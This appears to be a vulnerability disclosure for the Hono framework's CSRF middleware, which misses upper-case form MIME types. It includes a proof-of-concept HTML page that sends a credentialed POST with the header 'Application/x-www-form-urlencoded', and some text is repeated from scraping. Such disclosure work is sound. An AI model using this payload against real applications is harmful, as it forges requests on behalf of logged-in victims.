Hono CSRF middleware can be bypassed using crafted Content-Type header.
As a result, attacker can bypass csrf middleware using upper-case form-like MIME type, such as "Application/x-www-form-urlencoded".
<html>
<head>
<title>CSRF Test</title>
<script defer>
document.addEventListener("DOMContentLoaded", () => {
document.getElementById("btn").addEventListener("click", async () => {
const res = await fetch("http://victim.example.com/test", {
method: "POST",
credentials: "include",
headers: {
"Content-Type": "Application/x-www-form-urlencoded",
},
});
});
});
</script>
</head>
<body>
<h1>CSRF Test</h1>
<button id="btn">Click me!</button>
</body>
</html>Bypass csrf protection implemented with hono csrf middleware.
I'm not sure that omitting csrf checks for Simple POST request is a good idea.
CSRF prevention and CORS are different concepts even though CORS can prevent CSRF in some cases.
wataru-chocola Reporter
Summary
Hono CSRF middleware can be bypassed using crafted Content-Type header.
Details
MIME types are case insensitive, but
isRequestedByFormElementReonly matches lower-case.https://github.com/honojs/hono/blob/b0af71fbcc6dbe44140ea76f16d68dfdb32a99a0/src/middleware/csrf/index.ts#L16-L17
As a result, attacker can bypass csrf middleware using upper-case form-like MIME type, such as "Application/x-www-form-urlencoded".
PoC
Impact
Bypass csrf protection implemented with hono csrf middleware.
Discussion
I'm not sure that omitting csrf checks for Simple POST request is a good idea.
CSRF prevention and CORS are different concepts even though CORS can prevent CSRF in some cases.
References